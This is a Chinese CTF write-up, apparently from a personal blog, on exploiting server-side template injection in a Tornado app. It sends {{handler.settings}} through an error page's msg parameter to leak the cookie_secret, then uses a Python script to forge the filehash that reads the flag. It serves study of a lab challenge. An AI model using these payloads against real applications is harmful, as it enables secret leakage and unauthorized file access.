Tornado:python 编写的 web 服务器兼 web 应用框架

打开靶机发现有三个文件

flag.txt

welcome.txt

render 是 python 中的一个渲染函数 渲染变量到模板中,即可以通过传递不同的参数形成不同的页面。

  1. render 方法的实质就是生成 template 模板;
  2. 通过调用一个方法来生成,而这个方法是通过 render 方法的参数传递给它的;
  3. 这个方法有三个参数,分别提供标签名,标签相关属性,标签内部的 html 内容
  4. 通过这三个参数,可以生成一个完整的木模板

render 函数介绍
模板 self.render

hints.txt

Get cookie_secret

由 flag.txt 知 filename=/fllllllllllllag,现在只要知道 cookie_secret 是多少就能写 payload 拿取 flag.

由已知 3 个文件格式推测 payload 格式可能为

file?filename=/fllllllllllllag&filehash=xxxxxxx

我先随便输入一个尝试一下,测试完后发现有 error 界面,还有 /error?msg=Error

见识不够,看了 wp 知道是服务端模板注入攻击 SSTI

/error?msg={{23333}}


界面回显也是 23333. 那肯定是要我们在双括号中键入什么了

之前遇见过一次 SSTI 所以知道双括号应该是固定的写法,但至于为什么没有深究,在 Tornado 官方文档中看到
模板表达式被双花括号包围;内容可以是任何 python 表达式,它将根据当前的自动转义设置进行转义并插入到输出中。其他模板指令使用.

{{ ... }}{% %}(jinjia2语法)

渲染函数在渲染的时候,往往对用户输入的变量不做渲染,

即:{{}}在Jinja2中作为变量包裹标识符,Jinja2在渲染的时候会把{{}}包裹的内容当做变量解析替换。比如{{1+1}}会被解析成2.因此才有了现在的模板注入漏洞.类似于SQL注入的漏洞

关于 SSTI 引发的真正原因是:render_template 渲染函数的问题

cookie_secret 在 Application 对象 settings 属性中 另外 self.application.settings 有一个别名

RequestHandler.settings

An alias for self.application.settings.

handler 指向 RequestHandler (封装对请求处理的所有信息和处理方法)

而 RequestHandler.settings 又指向 self.application.settings

于是所有 handler.settings 就指向 RequestHandler.application.settings 了!

/error?msg={{handler.settings}}

得到 cookie_secret:036cc74f-81bc-4583-9f02-e7cdb12cfa7c

编写 python 脚本计算 filehash 值

import hashlib
def md5(s):
	md5 = hashlib.md5(s.encode('utf-8')).hexdigest()
	return md5
def filehash():
	filename = '/fllllllllllllag'
	cookie_secret = '036cc74f-81bc-4583-9f02-e7cdb12cfa7c'
	print(md5(cookie_secret+md5(filename)))
if __name__ == '__main__':
	filehash()

filehash=bd130d4511c341d7397c50a7f1f10c77

payload

file?filename=/fllllllllllllag&filehash=bd130d4511c341d7397c50a7f1f10c77

得到 flag

更新于

请我喝[茶]~( ̄▽ ̄)~*

1sme 微信支付

微信支付